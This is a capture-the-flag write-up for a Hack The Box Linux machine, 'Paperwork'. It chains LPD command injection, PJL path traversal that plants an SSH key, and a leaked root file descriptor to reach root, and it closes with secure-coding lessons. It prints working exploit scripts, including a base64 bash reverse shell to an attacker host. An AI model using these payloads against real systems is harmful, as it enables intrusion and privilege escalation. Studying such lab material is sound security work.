Paperwork
Paperwork is a medium-difficulty Linux box built around three hand-rolled "print" services, each reusing the same class of unsafe input handling.
- platform
- Hack The Box
- target_os
- Linux (Ubuntu)
- difficulty
- Easy
- season
- Season 11
- logged
- August 4, 2026
Summary of Exploitation
Paperwork is a medium-difficulty Linux box built around three hand-rolled “print” services, each reusing the same class of unsafe input handling. Starting from network access to a custom LPD server, the chain proceeds as follows:
- LPD command injection — a custom Line Printer Daemon on
1515interpolates an attacker-controlled print-job name into asubprocess.Popen(..., shell=True)call. Breaking out of the shell quoting yields a foothold as thelpservice user. - Internal service discovery — from the
lpshell, two loopback-only services surface: a JetDirect/PJL clone on127.0.0.1:9100(running asarchivist) and a rootpaperwork-daemonon a unix socket. - PJL path traversal — the PJL service’s virtual-filesystem path translation never strips
.., so anFSDOWNLOADwith a traversal path writes outside its spool root intoarchivist’s~/.ssh/authorized_keys, granting SSH asarchivist. - SCM_RIGHTS fd leak — the root
paperwork-daemonpasses root’s open config file descriptor to the client over a group-accessible socket as “forensic evidence” when it detects log tampering. Reading through the leaked fd bypasses file permissions and exposes the admin password, which is reused for root.
Recon Phase
An initial full-port Nmap scan was run against the target:
nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>
Results (abridged):
| Port | State | Service | Version |
|---|---|---|---|
| 22 | open | ssh | OpenSSH (Ubuntu) |
| 80 | open | http | web app |
| 515 | open | printer | LPD (spooler front) |
| 1515 | open | unknown | custom LPD server (Python) |
Key takeaways from recon:
- The externally reachable custom service is a Python LPD server on
1515— the intended entry point. - Port
80hosts a web app; the same app is later found bound to127.0.0.1:1337internally. It is not on the privilege-escalation path.
The host was added to /etc/hosts:
echo "<target-ip> paperwork.htb" | sudo tee -a /etc/hosts
Service Enumeration
The custom LPD server (/opt/LPDServer/server.py, run by lpdserver.service as User=lp) implements a simplified LPD protocol. The source revealed the job-name handling logs via a shell:
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
job_name is taken directly from the J line of the LPD control file — fully attacker-controlled and unsanitized, interpolated inside single quotes into a shell=True command. That is a straightforward OS command injection sink.
The queue check gating the job is also weak:
if queue not in VALID_QUEUE: # substring test against a string, not equality
Since "" in <anything> is True, an empty queue name always passes regardless of the configured LPD_QUEUE value.
Exploitation Phase
Step 1 — LPD command injection → shell as lp
Reaching the injection sink requires walking the simplified LPD protocol:
\x02+ queue +\n— receive-job. Empty queue passes the substring check.\x02<count> <name>\n— receive-control-file header.- Control-file body containing
J'; <payload> #— theJline becomesjob_name.
The '; <cmd> # breakout closes the single-quoted string, runs an arbitrary command, and comments out the trailing redirect:
echo 'Archive: '; <cmd> #' >> /tmp/archive.log
A Python PoC delivers the full protocol sequence and a base64 bash reverse shell:
import socket, base64
rs = "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"
b64 = base64.b64encode(rs.encode()).decode()
inj = f"'; echo {b64} | base64 -d | bash #"
cf = f"J{inj}\n".encode()
s = socket.socket(); s.connect(("<target-ip>", 1515))
s.send(b"\x02\n") # receive-job, empty queue
s.send(b"\x02" + f"{len(cf)} cfA001exploit\n".encode()) # receive-control-file header
s.recv(1) # server ACK (\x00)
s.send(cf + b"\x00") # control-file body -> sink
nc -lvnp 4444 # listener
python3 exploit.py # -> reverse shell as lp (uid=7)
Gotcha — dash vs bash.
shell=Trueinvokes/bin/sh(dash), which does not supportbash -i >& /dev/tcp/.... Base64-encode the bash reverse shell and pipe it intobashexplicitly to avoid both the dash limitation and quote conflicts.
Gotcha — blind execution. The LPD channel only returns
\x00ack bytes; command output never comes back. Confirm out-of-band (reverse shell / HTTP callback) rather than waiting for stdout.
The environment leaked LPD_QUEUE=archive_intake (the real queue name) and internal recon (ss -tlnp) exposed the loopback services:
LISTEN 127.0.0.1:1337 # web app (same as :80)
LISTEN 127.0.0.1:9100 # jetdirect / PJL -> archivist
jetdirect.service runs /home/archivist/printer/jetdirect.py as User=archivist — the lateral target.
Step 2 — PJL path traversal → shell as archivist
As lp, /home/archivist is drwxr-x--- (unreadable), so the 9100 service was fingerprinted black-box. It responds as an HP LaserJet-style PJL implementation with a READ-WRITE virtual filesystem rooted at the printer directory:
@PJL INFO ID -> HP LASERJET 4ML
@PJL INFO FILESYS -> 0: ... READ-WRITE
@PJL FSDIRLIST -> jetdirect.py (5119), logs/
The service’s own FSUPLOAD was used to read its source (the daemon reads it as archivist on our behalf). The path-translation routine is the flaw:
def _translate(self, path):
clean = path.replace("0:", "").replace("\\", "/").lstrip("/")
return os.path.normpath(os.path.join(self._root, clean))
It strips the 0: prefix and leading slashes but never sanitizes .., so os.path.join(root, "../.ssh/...") + normpath resolves above the spool root. write() also runs os.makedirs(dirname, exist_ok=True), creating .ssh/ if absent.
A traversal FSDOWNLOAD writes an attacker public key into archivist’s authorized_keys:
import socket
pub = open("id.pub","rb").read().strip() + b"\n"
name = "0:/../.ssh/authorized_keys" # root=/home/archivist/printer
job = b'@PJL FSDOWNLOAD NAME="%s" SIZE=%d\r\n' % (name.encode(), len(pub))
s = socket.socket(); s.connect(("127.0.0.1", 9100))
s.sendall(job + pub); print(s.recv(1024)) # -> b'OK\r\n'
Verify without local FS access by reading it back through the same service:
@PJL FSUPLOAD NAME="0:/../.ssh/authorized_keys" -> echoes the pubkey
chmod 600 id
ssh -i id archivist@127.0.0.1 # -> shell as archivist
User flag:
cat /home/archivist/user.txt
Gotcha — regex order. The download handler matches
NAME="..." SIZE=digitsin that exact order; SIZE-before-NAME fails silently withFILEERROR=1.
Gotcha — write, not append.
open(target, "wb")truncates, so the key lands clean even if the file existed.
Dead end noted. Overwriting
jetdirect.pyand trying to force a restart does not work — the request loop swallows malformed input intry/except, soRestart=on-failurenever fires (no nonzero exit), and the running process already holds the old source in memory. Traversal-to-authorized_keysis the reliable primitive.
Step 3 — SCM_RIGHTS fd leak → root
A root process runs /usr/bin/paperwork-daemon, listening on a unix socket that is deliberately made group-accessible to archivist:
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY) # root-owned config
...
s.bind("/run/paperwork/mgmt.sock")
os.chmod(socket_path, 0o660)
os.chown(socket_path, 0, 1000) # owner root, GROUP archivist (gid 1000)
On each connection it runs scan_for_malice(), which returns True if commands.log contains FSQUERY / FSUPLOAD / FSDOWNLOAD. On that “alert” path it sends a forensic bundle that passes the log fd and root’s admin_fd to the client via SCM_RIGHTS:
evidence_bundle = array.array("i", [log_fd, admin_fd])
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
A received descriptor retains the sender’s access rights, so reading through the passed admin_fd bypasses the 0600 root:root permissions on the config entirely. A client connects, receives the ancillary fds, and preads the leaked one:
import socket, array, os
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/paperwork/mgmt.sock")
msg, ancdata, _, _ = s.recvmsg(4096, socket.CMSG_LEN(2 * 4))
for level, typ, data in ancdata:
if typ == socket.SCM_RIGHTS:
fds = array.array("i"); fds.frombytes(data)
for fd in fds:
print(os.pread(fd, 4096, 0))
Result:
ADMIN_PASSWORD=<redacted>
The admin password is reused for root:
su - # -> uid=0
Root flag:
cat /root/root.txt
Gotcha — must trip the malice branch. The “clean” branch only returns
sha256("SYSTEM_CLEAN:<secret>"), which is useless. The raw fd is only passed on the alert path. Conveniently, the Step-2 pivot already wroteFSUPLOAD/FSDOWNLOADlines intocommands.log, so the scan trips on its own. If the log was truncated, re-plant a trigger word with a singleFSDOWNLOADrequest to:9100.
Key Takeaways
- Substring checks are not membership checks.
queue not in VALID_QUEUEagainst a string let an empty queue through. Use==or an explicit allow-list. shell=Trueplus any external input equals injection. The LPD job name should never touch a shell — usesubprocess.run([...])with an argument list, or avoid shelling out entirely.- Path translation must canonicalize then confine. Stripping
0:/ leading slashes but not..is a no-op against traversal. Resolve withrealpathand assert the result stays within the root viaos.path.commonpath. SCM_RIGHTSpasses capability, not data. Sending a file descriptor hands the receiver the sender’s access to that object. Never pass fds for privileged files to lower-privileged peers; send sanitized contents instead.- Attacker-influenced logs should not drive privileged code paths. The forensic branch was reachable precisely because earlier attack traffic seeded the log with the trigger strings — log content is attacker-controllable.
Full Attack Chain
attacker (network access to LPD :1515)
└─ shell=True on print-job 'J' name ──> shell as lp (uid=7)
└─ internal recon ──> PJL :9100 (archivist), paperwork-daemon (root)
└─ PJL '..' traversal ──> write ~/.ssh/authorized_keys ──> archivist [USER]
└─ SCM_RIGHTS leaks root admin_fd ──> pread ADMIN_PASSWORD
└─ su - ──> Administrator/root [ROOT]